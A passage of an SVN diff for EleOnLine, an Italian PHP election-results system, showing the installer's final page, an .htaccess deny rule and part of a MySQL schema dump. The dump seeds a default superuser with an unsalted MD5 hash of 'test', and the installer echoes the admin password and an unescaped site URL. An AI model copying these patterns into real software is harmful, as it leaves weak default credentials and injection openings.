+		<input type="hidden" name="Limite" value="<?php echo "$Linite"; ?>" />
+		';
+	?>			
+	</form>
+	<script>alert('The site url has not been provided'); document.stepBack3.submit();</script>
+<?php
+}
+include("header.php");
+?>
+<div id="ctr" align="center">
+	<form action="dummy" name="form" id="form">
+	<div class="install">
+		<div id="stepbar">
+			<div class="step-off">inizio</div>
+			<div class="step-off">licenza</div>
+			<div class="step-off">passo 1</div>
+			<div class="step-off">passo 2</div>
+			<div class="step-off">passo 3</div>
+			<div class="step-on">passo 4</div>
+		</div>
+		<div id="right">
+			<div id="step">passo 4</div>
+			<div class="far-right">
+				<input class="button" type="button" name="runSite" value="Guarda il Sito"
+<?php
+				if ($siteUrl) {
+					echo "onClick=\"window.location.href='$siteUrl/index.php' \"";
+				} else {
+					echo "onClick=\"window.location.href='".$configArray['siteURL']."/index.php' \"";
+				}
+?>/>
+				<input class="button" type="button" name="Admin" value="Amministrazione"
+<?php
+				if ($siteUrl) {
+					echo "onClick=\"window.location.href='$siteUrl/../admin' \"";
+				} else {
+					echo "onClick=\"window.location.href='".$configArray['siteURL']."/../admin' \"";
+				}
+?>/>
+			</div>
+			<div class="clr"></div>
+			<h1>Congratulazioni! EleOnLine e' installato</h1>
+			<div class="install-text">
+				<p>Clicca sul pulsante "Guarda il Sito" per visitare la parte in Visualizzazione oppure su "Amministrazione" per entrare nel pannello di ammnistrazione.</p>
+			</div>
+			<div class="install-form">
+				<div class="form-block">
+					<table width="100%">
+						<tr><td class="error" align="center">Una volta configurato e testato il sistema<br/>
+e prima di avviare il servizio online<br/>
+ricordati di effettuare una politica di sicurezza<br/>
+come la separazione della parte di visualizzazione (client)<br/>
+da quella di amministrazione (admin)<br/>
+od anche l'utenza del database pubblico in sola lettura<br/> 
+e altri accorgimenti che riterrai necessarie<br/>
+
+
+
+</td></tr>
+						<tr><td align="center"><h5>Dettagli Login Amministrazione</h5></td></tr>
+						<tr><td align="center" class="notice"><b>Username : <?php echo $adminName; ?></b></td></tr>
+						<tr><td align="center" class="notice"><b>Password : <?php echo $adminPassword; ?></b></td></tr>
+						<tr><td>&nbsp;</td></tr>
+						<tr><td align="right">&nbsp;</td></tr>
+<!-- client -->						
+<?php						if (!$canWrite) { ?>
+						<tr>
+							<td class="small">
+							<h1>config.php per visualizzazione</h1>
+							<font color="#FF0000"><b>ATTENZIONE:</b></font> Il tuo file di configurazione o la cartella non sono scrivibili,
+								o c'Ãš stato un problema nella creazione del file di configurazione. Clicca nella area di testo per evidenziare
+								tutto il codice. Crea un nuovo file chiamato <b>config.php</b> e copialo nella cartella <b>client</b>.
+							</td>
+						</tr>
+						
+						
+						<tr>
+							<td align="center">
+								<textarea rows="15" cols="48" name="configcode" onClick="javascript:this.form.configcode.focus();this.form.configcode.select();" ><?php echo htmlspecialchars( $config );?></textarea>
+							</td>
+						</tr>
+<?php						} ?>
+
+<!-- admin -->
+<?php						if (!$canWrite2) { ?>
+						<tr>
+							<td class="small">
+							<h1>config.php per amministrazione</h1>
+							<font color="#FF0000"><b>ATTENZIONE:</b></font> Il tuo file di configurazione o la cartella non sono scrivibili,
+								o c'Ãš stato un problema nella creazione del file di configurazione. Clicca nella area di testo per evidenziare
+								tutto il codice. Crea un nuovo file chiamato <strong>config.php</strong> e copialo nella cartella <b>admin</b>.
+							</td>
+						</tr>
+						
+						
+						<tr>
+							<td align="center">
+								<textarea rows="15" cols="48" name="configcode" onClick="javascript:this.form.configcode.focus();this.form.configcode.select();" ><?php echo htmlspecialchars( $config_adm );?></textarea>
+							</td>
+						</tr>
+<?php						} ?>
+
+
+
+
+						<tr><td class="small"><?php /*echo $chmod_report*/; ?></td></tr>
+					</table>
+				</div>
+			</div>
+			<div id="break"></div>
+		</div>
+		<div class="clr"></div>
+	</div>
+	</form>
+</div>
+<div class="clr"></div>
+<div class="ctr">
+	
+</div>
+<?php include("footer.php"); ?>
+</div>
+</html>
Index: /trunk/elezioni/trunk/install/sql/.htaccess
===================================================================
--- /trunk/elezioni/trunk/install/sql/.htaccess	(revision 44)
+++ /trunk/elezioni/trunk/install/sql/.htaccess	(revision 44)
@@ -0,0 +1,1 @@
+deny from all
Index: /trunk/elezioni/trunk/install/sql/eleonline.sql
===================================================================
--- /trunk/elezioni/trunk/install/sql/eleonline.sql	(revision 44)
+++ /trunk/elezioni/trunk/install/sql/eleonline.sql	(revision 44)
@@ -0,0 +1,958 @@
+-- MySQL dump 10.10
+--
+-- Host: localhost    Database: vuoto
+-- ------------------------------------------------------
+-- Server version	5.0.19-standard
+
+/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
+/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
+/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
+/*!40101 SET NAMES utf8 */;
+/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
+/*!40103 SET TIME_ZONE='+00:00' */;
+/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
+/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
+/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
+/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;
+
+--
+-- Table structure for table `soraldo_access`
+--
+
+DROP TABLE IF EXISTS `soraldo_access`;
+CREATE TABLE `soraldo_access` (
+  `access_id` int(10) NOT NULL,
+  `access_title` varchar(20) default NULL,
+  PRIMARY KEY  (`access_id`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `soraldo_access`
+--
+
+
+/*!40000 ALTER TABLE `soraldo_access` DISABLE KEYS */;
+LOCK TABLES `soraldo_access` WRITE;
+INSERT INTO `soraldo_access` VALUES (1,'Sospeso'),(16,'Operatore'),(32,'Amministratore'),(64,'Amministratore Unico'),(256,'Superuser');
+UNLOCK TABLES;
+/*!40000 ALTER TABLE `soraldo_access` ENABLE KEYS */;
+
+--
+-- Table structure for table `soraldo_authors`
+--
+
+DROP TABLE IF EXISTS `soraldo_authors`;
+CREATE TABLE `soraldo_authors` (
+  `aid` varchar(25) NOT NULL default '',
+  `name` varchar(50) default NULL,
+  `id_comune` int(11) NOT NULL default '0',
+  `email` varchar(255) default NULL,
+  `pwd` varchar(40) default NULL,
+  `counter` int(11) NOT NULL default '0',
+  `adminop` tinyint(2) NOT NULL default '0',
+  `admincomune` tinyint(2) NOT NULL default '0',
+  `adminsuper` tinyint(2) NOT NULL default '1',
+  `admlanguage` varchar(30) NOT NULL default '',
+  PRIMARY KEY  (`aid`,`id_comune`),
+  KEY `aid` (`aid`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `soraldo_authors`
+--
+
+
+/*!40000 ALTER TABLE `soraldo_authors` DISABLE KEYS */;
+LOCK TABLES `soraldo_authors` WRITE;
+INSERT INTO `soraldo_authors` VALUES ('suser','suser',0,'test@','098f6bcd4621d373cade4e832627b4f6',1,0,0,1,'it');
+UNLOCK TABLES;
+/*!40000 ALTER TABLE `soraldo_authors` ENABLE KEYS */;
+
+--
+-- Table structure for table `soraldo_config`
+--
+
+DROP TABLE IF EXISTS `soraldo_config`;
+CREATE TABLE `soraldo_config` (
+  `sitename` varchar(255) NOT NULL default '',
+  `siteurl` varchar(255) NOT NULL default '',
+  `site_logo` varchar(255) NOT NULL default '',
+  `slogan` varchar(255) NOT NULL default '',
+  `startdate` varchar(50) NOT NULL default '',
+  `adminmail` varchar(255) NOT NULL default '',
+  `tema` varchar(25) NOT NULL,
+  `foot` text NOT NULL,
+  `language` varchar(3) NOT NULL,
+  `blocco` enum('0','1') NOT NULL,
+  `testata` blob,
+  `nome_testata` varchar(50) NOT NULL,
+  `fileout` varchar(255) NOT NULL,
+  `copyright` text NOT NULL,
+  `Versione` int(3) NOT NULL,
+  `patch` int(3) NOT NULL,
+  `siteistat` int(11) NOT NULL,
+  `multicomune` enum('0','1') NOT NULL,
+  `flash` enum('0','1') NOT NULL,
+  `displayerrors` enum('0','1') NOT NULL,
+  `gkey` varchar(100) NOT NULL,
+  `googlemaps` enum('0','1') NOT NULL,
+  `editor` enum('0','1') NOT NULL default '1',
+  `tema_on` enum('0','1') NOT NULL default '1',
+  `ed_user` varchar(25) NOT NULL
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `soraldo_config`
+--
+
+
+/*!40000 ALTER TABLE `soraldo_config` DISABLE KEYS */;
+LOCK TABLES `soraldo_config` WRITE;
+INSERT INTO `soraldo_config` VALUES ('','http://www.fonte-nuova.it','','Sito istituzionale','Maggio 2009','admin@localhost','facebook','<b>Comune di Menfi</b><br>\r\nvia  - 84023 Menfi (Ag)\r\nTel:  Fax: \r\n<hr>','it','1','','','','Gpl v3',2,0,84023,'1','1','','','0','1','1','Admin');
+UNLOCK TABLES;
+/*!40000 ALTER TABLE `soraldo_config` ENABLE KEYS */;
+
+--
+-- Table structure for table `soraldo_doc_cons`
+--
+
+DROP TABLE IF EXISTS `soraldo_doc_cons`;
+CREATE TABLE `soraldo_doc_cons` (
+  `id_cons` int(11) NOT NULL,
+  `id_doc` int(11) NOT NULL,
+  `tabella` varchar(25) NOT NULL,
+  KEY `id_cons` (`id_cons`,`id_doc`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `soraldo_doc_cons`
+--
+
+
+/*!40000 ALTER TABLE `soraldo_doc_cons` DISABLE KEYS */;
+LOCK TABLES `soraldo_doc_cons` WRITE;
+UNLOCK TABLES;
+/*!40000 ALTER TABLE `soraldo_doc_cons` ENABLE KEYS */;
+
+--
+-- Table structure for table `soraldo_ele_candidati`
+--
+
+DROP TABLE IF EXISTS `soraldo_ele_candidati`;
+CREATE TABLE `soraldo_ele_candidati` (
+  `id_cand` int(11) NOT NULL auto_increment,
+  `id_cons` int(11) NOT NULL default '0',
+  `id_lista` int(11) NOT NULL default '0',
+  `cognome` varchar(50) default NULL,
+  `nome` varchar(50) default NULL,
+  `note` tinytext NOT NULL,
+  `simbolo` varchar(30) NOT NULL default '',
+  `num_cand` int(7) NOT NULL default '0',
+  UNIQUE KEY `id_cand` (`id_cand`),
+  KEY `id_cons` (`id_cons`),
+  KEY `id_lista` (`id_lista`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `soraldo_ele_candidati`
+--
+
+
+/*!40000 ALTER TABLE `soraldo_ele_candidati` DISABLE KEYS */;
+LOCK TABLES `soraldo_ele_candidati` WRITE;
+UNLOCK TABLES;
+/*!40000 ALTER TABLE `soraldo_ele_candidati` ENABLE KEYS */;
+
+--
+-- Table structure for table `soraldo_ele_circoscrizione`
+--
+
+DROP TABLE IF EXISTS `soraldo_ele_circoscrizione`;
+CREATE TABLE `soraldo_ele_circoscrizione` (
+  `id_cons` int(11) NOT NULL default '0',
+  `id_circ` int(11) NOT NULL auto_increment,
+  `num_circ` int(7) NOT NULL default '0',
+  `descrizione` text,
+  UNIQUE KEY `id_circ` (`id_circ`),
+  UNIQUE KEY `id_cons` (`id_cons`,`num_circ`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `soraldo_ele_circoscrizione`
+--
+
+
+/*!40000 ALTER TABLE `soraldo_ele_circoscrizione` DISABLE KEYS */;
+LOCK TABLES `soraldo_ele_circoscrizione` WRITE;
+UNLOCK TABLES;
+/*!40000 ALTER TABLE `soraldo_ele_circoscrizione` ENABLE KEYS */;
+
+--
+-- Table structure for table `soraldo_ele_collegi`
+--
+
+DROP TABLE IF EXISTS `soraldo_ele_collegi`;
+CREATE TABLE `soraldo_ele_collegi` (
+  `id_collegio` int(11) NOT NULL auto_increment,
+  `id_cons_gen` int(11) NOT NULL default '0',
+  `descrizione` text,
+  PRIMARY KEY  (`id_collegio`),
+  KEY `id_cons_gen` (`id_cons_gen`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `soraldo_ele_collegi`
+--
+
+
+/*!40000 ALTER TABLE `soraldo_ele_collegi` DISABLE KEYS */;
+LOCK TABLES `soraldo_ele_collegi` WRITE;
+UNLOCK TABLES;
+/*!40000 ALTER TABLE `soraldo_ele_collegi` ENABLE KEYS */;
+
+--
+-- Table structure for table `soraldo_ele_come`
+--
+
+DROP TABLE IF EXISTS `soraldo_ele_come`;
+CREATE TABLE `soraldo_ele_come` (
+  `id_cons` int(11) NOT NULL default '0',
+  `mid` int(7) NOT NULL auto_increment,
+  `title` varchar(150) NOT NULL default '',
+  `preamble` text NOT NULL,
+  `content` text NOT NULL,
+  `editimage` varchar(100) NOT NULL default '',
+  UNIQUE KEY `mid` (`mid`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `soraldo_ele_come`
+--
+
+
+/*!40000 ALTER TABLE `soraldo_ele_come` DISABLE KEYS */;
+LOCK TABLES `soraldo_ele_come` WRITE;
+UNLOCK TABLES;
+/*!40000 ALTER TABLE `soraldo_ele_come` ENABLE KEYS */;
+
+--
+-- Table structure for table `soraldo_ele_comu_collegi`
+--
+
+DROP TABLE IF EXISTS `soraldo_ele_comu_collegi`;
+CREATE TABLE `soraldo_ele_comu_collegi` (
+  `id_collegio` int(11) NOT NULL default '0',
+  `id_cons` int(11) NOT NULL default '0',
+  `id_comune` int(11) NOT NULL default '0',
+  `id_cons_gen` int(11) NOT NULL default '0',
+  PRIMARY KEY  (`id_cons_gen`,`id_comune`),
+  KEY `id_cons` (`id_cons`),
+  KEY `id_collegio` (`id_collegio`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `soraldo_ele_comu_collegi`
+--
+
+
+/*!40000 ALTER TABLE `soraldo_ele_comu_collegi` DISABLE KEYS */;
+LOCK TABLES `soraldo_ele_comu_collegi` WRITE;
+UNLOCK TABLES;
+/*!40000 ALTER TABLE `soraldo_ele_comu_collegi` ENABLE KEYS */;
+
+--
+-- Table structure for table `soraldo_ele_comuni`
+--
+
+DROP TABLE IF EXISTS `soraldo_ele_comuni`;
+CREATE TABLE `soraldo_ele_comuni` (
+  `id_comune` int(11) NOT NULL default '0',
+  `descrizione` varchar(50) default NULL,
+  `indirizzo` varchar(50) default NULL,
+  `centralino` varchar(15) default NULL,
+  `fax` varchar(15) default NULL,
+  `email` varchar(50) default NULL,
+  `fascia` tinyint(4) NOT NULL default '0',
+  `capoluogo` enum('0','1') NOT NULL default '0',
+  `simbolo` text,
+  `stemma` blob,
+  `id_cons` int(11) default '0',
+  PRIMARY KEY  (`id_comune`),
+  KEY `access_id` (`descrizione`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `soraldo_ele_comuni`
+--
+
+
+/*!40000 ALTER TABLE `soraldo_ele_comuni` DISABLE KEYS */;
+LOCK TABLES `soraldo_ele_comuni` WRITE;
+UNLOCK TABLES;
+/*!40000 ALTER TABLE `soraldo_ele_comuni` ENABLE KEYS */;
+
+--
+-- Table structure for table `soraldo_ele_conf`
+--
+
+DROP TABLE IF EXISTS `soraldo_ele_conf`;
+CREATE TABLE `soraldo_ele_conf` (
+  `id_conf` int(11) NOT NULL auto_increment,
+  `descrizione` varchar(50) NOT NULL,
+  `limite` int(2) NOT NULL,
+  `consin` enum('0','1') NOT NULL default '1',
+  `infpremio` int(3) NOT NULL,
+  `supsbarramento` int(3) NOT NULL,
+  `suppremio` int(3) NOT NULL,
+  `listinfsbar` int(3) NOT NULL default '1',
+  `listinfconta` enum('0','1') NOT NULL default '1',
+  `listsupconta` enum('0','1') NOT NULL default '1',
+  `supminpremio` int(3) NOT NULL,
+  `infminpremio` int(3) NOT NULL,
+  PRIMARY KEY  (`id_conf`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `soraldo_ele_conf`
+--
+
+
+/*!40000 ALTER TABLE `soraldo_ele_conf` DISABLE KEYS */;
+LOCK TABLES `soraldo_ele_conf` WRITE;
+INSERT INTO `soraldo_ele_conf` VALUES (1,'Legge Italiana 267/2000',3,'1',67,3,60,3,'1','1',40,40),(2,'Regione Sicilia precedente al 2008',2,'0',67,3,60,3,'1','1',40,40),(3,'Regione Sicilia Legge n. 22 del 16/12/2008',2,'0',67,5,60,3,'1','0',40,40);
+UNLOCK TABLES;
+/*!40000 ALTER TABLE `soraldo_ele_conf` ENABLE KEYS */;
+
+--
+-- Table structure for table `soraldo_ele_cons_comune`
+--
+
+DROP TABLE IF EXISTS `soraldo_ele_cons_comune`;
+CREATE TABLE `soraldo_ele_cons_comune` (
+  `id_cons` int(11) NOT NULL auto_increment,
+  `chiusa` set('0','1','2') NOT NULL default '0',
+  `id_comune` int(11) NOT NULL default '0',
+  `id_cons_gen` int(11) NOT NULL default '0',
+  `id_conf` int(11) NOT NULL default '0',
+  `preferita` enum('0','1') NOT NULL default '0',
+  PRIMARY KEY  (`id_cons`),
+  UNIQUE KEY `comune` (`id_comune`,`id_cons_gen`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `soraldo_ele_cons_comune`
+--
+
+
+/*!40000 ALTER TABLE `soraldo_ele_cons_comune` DISABLE KEYS */;
+LOCK TABLES `soraldo_ele_cons_comune` WRITE;
+UNLOCK TABLES;
+/*!40000 ALTER TABLE `soraldo_ele_cons_comune` ENABLE KEYS */;
+
+--
+-- Table structure for table `soraldo_ele_consultazione`
+--
+
+DROP TABLE IF EXISTS `soraldo_ele_consultazione`;
+CREATE TABLE `soraldo_ele_consultazione` (
+  `id_cons_gen` int(11) NOT NULL auto_increment,
+  `descrizione` text,
+  `data_inizio` date default NULL,
+  `data_fine` date default NULL,
+  `tipo_cons` int(7) NOT NULL default '0',
+  PRIMARY KEY  (`id_cons_gen`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `soraldo_ele_consultazione`
+--
+
+
+/*!40000 ALTER TABLE `soraldo_ele_consultazione` DISABLE KEYS */;
+LOCK TABLES `soraldo_ele_consultazione` WRITE;
+UNLOCK TABLES;
+/*!40000 ALTER TABLE `soraldo_ele_consultazione` ENABLE KEYS */;
+
+--
+-- Table structure for table `soraldo_ele_documenti`
+--
+
+DROP TABLE IF EXISTS `soraldo_ele_documenti`;
+CREATE TABLE `soraldo_ele_documenti` (
+  `id_doc` int(11) NOT NULL auto_increment,
+  `descrizione` varchar(50) NOT NULL,
+  `nomedoc` varchar(25) NOT NULL,
+  `filedoc` blob NOT NULL,
+  PRIMARY KEY  (`id_doc`),
+  KEY `descrizione` (`descrizione`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `soraldo_ele_documenti`
+--
+
+
+/*!40000 ALTER TABLE `soraldo_ele_documenti` DISABLE KEYS */;
+LOCK TABLES `soraldo_ele_documenti` WRITE;
+UNLOCK TABLES;
+/*!40000 ALTER TABLE `soraldo_ele_documenti` ENABLE KEYS */;
+
+--
+-- Table structure for table `soraldo_ele_fasce`
+--
+
+DROP TABLE IF EXISTS `soraldo_ele_fasce`;
+CREATE TABLE `soraldo_ele_fasce` (
+  `id_fascia` int(2) NOT NULL,
+  `abitanti` int(11) NOT NULL,
+  `data_inizio` date NOT NULL,
+  `data_fine` date NOT NULL,
+  `seggi` int(4) NOT NULL,
+  PRIMARY KEY  (`id_fascia`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `soraldo_ele_fasce`
+--
+
+
+/*!40000 ALTER TABLE `soraldo_ele_fasce` DISABLE KEYS */;
+LOCK TABLES `soraldo_ele_fasce` WRITE;
+INSERT INTO `soraldo_ele_fasce` VALUES (1,3000,'2000-01-01','0000-00-00',12),(2,10000,'2000-01-01','0000-00-00',16),(3,15000,'2000-01-01','0000-00-00',20),(4,30000,'2000-01-01','0000-00-00',20),(5,100000,'2000-01-01','0000-00-00',30),(6,250000,'2000-01-01','0000-00-00',40),(7,500000,'2000-01-01','0000-00-00',46),(8,1000000,'2000-01-01','0000-00-00',50),(9,100000000,'2000-01-01','0000-00-00',60);
+UNLOCK TABLES;
+/*!40000 ALTER TABLE `soraldo_ele_fasce` ENABLE KEYS */;
+
+--
+-- Table structure for table `soraldo_ele_gruppo`
+--
+
+DROP TABLE IF EXISTS `soraldo_ele_gruppo`;
+CREATE TABLE `soraldo_ele_gruppo` (
+  `id_cons` int(11) NOT NULL default '0',
+  `id_gruppo` int(11) NOT NULL auto_increment,
+  `num_gruppo` int(7) NOT NULL default '0',
+  `descrizione` text,
+  `simbolo` text,
+  `stemma` blob,
+  `id_circ` int(11) NOT NULL default '0',
+  UNIQUE KEY `id_gruppo` (`id_gruppo`),
+  UNIQUE KEY `id_cons` (`id_cons`,`num_gruppo`,`id_circ`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `soraldo_ele_gruppo`
+--
+
+
+/*!40000 ALTER TABLE `soraldo_ele_gruppo` DISABLE KEYS */;
+LOCK TABLES `soraldo_ele_gruppo` WRITE;
+UNLOCK TABLES;
+/*!40000 ALTER TABLE `soraldo_ele_gruppo` ENABLE KEYS */;
+
+--
+-- Table structure for table `soraldo_ele_link`
+--
+
+DROP TABLE IF EXISTS `soraldo_ele_link`;
+CREATE TABLE `soraldo_ele_link` (
+  `id_cons` int(11) NOT NULL default '0',
+  `mid` int(7) NOT NULL auto_increment,
+  `title` varchar(150) NOT NULL default '',
+  `preamble` text NOT NULL,
+  `content` text NOT NULL,
+  `editimage` varchar(100) NOT NULL default '',
+  PRIMARY KEY  (`mid`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `soraldo_ele_link`
+--
+
+
+/*!40000 ALTER TABLE `soraldo_ele_link` DISABLE KEYS */;
+LOCK TABLES `soraldo_ele_link` WRITE;
+UNLOCK TABLES;
+/*!40000 ALTER TABLE `soraldo_ele_link` ENABLE KEYS */;
+
+--
+-- Table structure for table `soraldo_ele_lista`
+--
+
+DROP TABLE IF EXISTS `soraldo_ele_lista`;
+CREATE TABLE `soraldo_ele_lista` (
+  `id_cons` int(11) NOT NULL default '0',
+  `id_lista` int(11) NOT NULL auto_increment,
+  `num_lista` int(7) NOT NULL default '0',
+  `id_gruppo` int(11) NOT NULL default '0',
+  `id_circ` int(11) NOT NULL default '0',
+  `descrizione` text,
+  `simbolo` text,
+  `stemma` blob,
+  PRIMARY KEY  (`id_cons`,`num_lista`,`id_circ`),
+  UNIQUE KEY `id_lista` (`id_lista`),
+  KEY `id_gruppo` (`id_gruppo`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `soraldo_ele_lista`
+--
+
+
+/*!40000 ALTER TABLE `soraldo_ele_lista` DISABLE KEYS */;
+LOCK TABLES `soraldo_ele_lista` WRITE;
+UNLOCK TABLES;
+/*!40000 ALTER TABLE `soraldo_ele_lista` ENABLE KEYS */;
+
+--
+-- Table structure for table `soraldo_ele_log`
+--
+
+DROP TABLE IF EXISTS `soraldo_ele_log`;
+CREATE TABLE `soraldo_ele_log` (
+  `id_cons` int(11) default NULL,
+  `id_sez` int(11) default NULL,
+  `utente` varchar(20) default NULL,
+  `data` date default NULL,
+  `ora` time default NULL,
+  `log_da` text,
+  `log_a` text,
+  `tabella` varchar(30) default NULL,
+  KEY `id_cons` (`id_cons`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `soraldo_ele_log`
+--
+
+
+/*!40000 ALTER TABLE `soraldo_ele_log` DISABLE KEYS */;
+LOCK TABLES `soraldo_ele_log` WRITE;
+UNLOCK TABLES;
+/*!40000 ALTER TABLE `soraldo_ele_log` ENABLE KEYS */;
+
+--
+-- Table structure for table `soraldo_ele_modelli`
+--
+
+DROP TABLE IF EXISTS `soraldo_ele_modelli`;
+CREATE TABLE `soraldo_ele_modelli` (
+  `id_cons` int(11) NOT NULL default '0',
+  `categoria` varchar(20) NOT NULL default '',
+  `modello` blob NOT NULL,
+  KEY `access_id` (`id_cons`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `soraldo_ele_modelli`
+--
+
+
+/*!40000 ALTER TABLE `soraldo_ele_modelli` DISABLE KEYS */;
+LOCK TABLES `soraldo_ele_modelli` WRITE;
+UNLOCK TABLES;
+/*!40000 ALTER TABLE `soraldo_ele_modelli` ENABLE KEYS */;
+
+--
+-- Table structure for table `soraldo_ele_numeri`
+--
+
+DROP TABLE IF EXISTS `soraldo_ele_numeri`;
+CREATE TABLE `soraldo_ele_numeri` (
+  `id_cons` int(11) NOT NULL default '0',
+  `mid` int(7) NOT NULL auto_increment,
+  `title` varchar(150) NOT NULL default '',
+  `preamble` text NOT NULL,
+  `content` text NOT NULL,
+  `editimage` varchar(100) NOT NULL default '',
+  PRIMARY KEY  (`mid`),
+  KEY `id_cons` (`id_cons`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `soraldo_ele_numeri`
+--
+
+
+/*!40000 ALTER TABLE `soraldo_ele_numeri` DISABLE KEYS */;
+LOCK TABLES `soraldo_ele_numeri` WRITE;
+UNLOCK TABLES;
+/*!40000 ALTER TABLE `soraldo_ele_numeri` ENABLE KEYS */;
+
+--
+-- Table structure for table `soraldo_ele_operatori`
+--
+
+DROP TABLE IF EXISTS `soraldo_ele_operatori`;
+CREATE TABLE `soraldo_ele_operatori` (
+  `id_cons` int(11) NOT NULL default '0',
+  `id_sede` int(11) NOT NULL default '0',
+  `id_comune` int(11) NOT NULL default '0',
+  `permessi` int(3) default NULL,
+  `aid` varchar(25) NOT NULL default '',
+  UNIQUE KEY `id_cons_aid` (`id_cons`,`aid`,`id_comune`),
+  KEY `id_circ` (`id_comune`),
+  KEY `id_sede` (`id_sede`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `soraldo_ele_operatori`
+--
+
+
+/*!40000 ALTER TABLE `soraldo_ele_operatori` DISABLE KEYS */;
+LOCK TABLES `soraldo_ele_operatori` WRITE;
+UNLOCK TABLES;
+/*!40000 ALTER TABLE `soraldo_ele_operatori` ENABLE KEYS */;
+
+--
+-- Table structure for table `soraldo_ele_province`
+--
+
+DROP TABLE IF EXISTS `soraldo_ele_province`;
+CREATE TABLE `soraldo_ele_province` (
+  `id` tinyint(11) NOT NULL,
+  `descrizione` varchar(30) NOT NULL
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `soraldo_ele_province`
+--
+
+
+/*!40000 ALTER TABLE `soraldo_ele_province` DISABLE KEYS */;
+LOCK TABLES `soraldo_ele_province` WRITE;
+UNLOCK TABLES;
+/*!40000 ALTER TABLE `soraldo_ele_province` ENABLE KEYS */;
+
+--
+-- Table structure for table `soraldo_ele_regioni`
+--
+
+DROP TABLE IF EXISTS `soraldo_ele_regioni`;
+CREATE TABLE `soraldo_ele_regioni` (
+  `id` int(11) NOT NULL,
+  `descrizione` varchar(25) NOT NULL,
+  PRIMARY KEY  (`id`),
+  KEY `descrizione` (`descrizione`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `soraldo_ele_regioni`
+--
+
+
+/*!40000 ALTER TABLE `soraldo_ele_regioni` DISABLE KEYS */;
+LOCK TABLES `soraldo_ele_regioni` WRITE;
+UNLOCK TABLES;
+/*!40000 ALTER TABLE `soraldo_ele_regioni` ENABLE KEYS */;
+
+--
+-- Table structure for table `soraldo_ele_rilaff`
+--
+
+DROP TABLE IF EXISTS `soraldo_ele_rilaff`;
+CREATE TABLE `soraldo_ele_rilaff` (
+  `id_cons_gen` int(11) NOT NULL default '0',
+  `orario` time NOT NULL default '00:00:00',
+  `data` date NOT NULL default '0000-00-00',
+  KEY `id_cons_gen` (`id_cons_gen`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `soraldo_ele_rilaff`
+--
+
+
+/*!40000 ALTER TABLE `soraldo_ele_rilaff` DISABLE KEYS */;
+LOCK TABLES `soraldo_ele_rilaff` WRITE;
+UNLOCK TABLES;
+/*!40000 ALTER TABLE `soraldo_ele_rilaff` ENABLE KEYS */;
+
+--
+-- Table structure for table `soraldo_ele_sede`
+--
+
+DROP TABLE IF EXISTS `soraldo_ele_sede`;
+CREATE TABLE `soraldo_ele_sede` (
+  `id_cons` int(11) NOT NULL default '0',
+  `id_sede` int(11) NOT NULL auto_increment,
+  `id_circ` int(11) NOT NULL default '0',
+  `indirizzo` varchar(60) default NULL,
+  `telefono1` varchar(12) default NULL,
+  `telefono2` varchar(12) default NULL,
+  `fax` varchar(12) default NULL,
+  `responsabile` varchar(60) default NULL,
+  `mappa` mediumblob NOT NULL,
+  `filemappa` varchar(100) NOT NULL default '',
+  PRIMARY KEY  (`id_sede`),
+  KEY `id_cons` (`id_cons`),
+  KEY `id_circ` (`id_circ`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `soraldo_ele_sede`
+--
+
+
+/*!40000 ALTER TABLE `soraldo_ele_sede` DISABLE KEYS */;
+LOCK TABLES `soraldo_ele_sede` WRITE;
+UNLOCK TABLES;
+/*!40000 ALTER TABLE `soraldo_ele_sede` ENABLE KEYS */;
+
+--
+-- Table structure for table `soraldo_ele_servizi`
+--
+
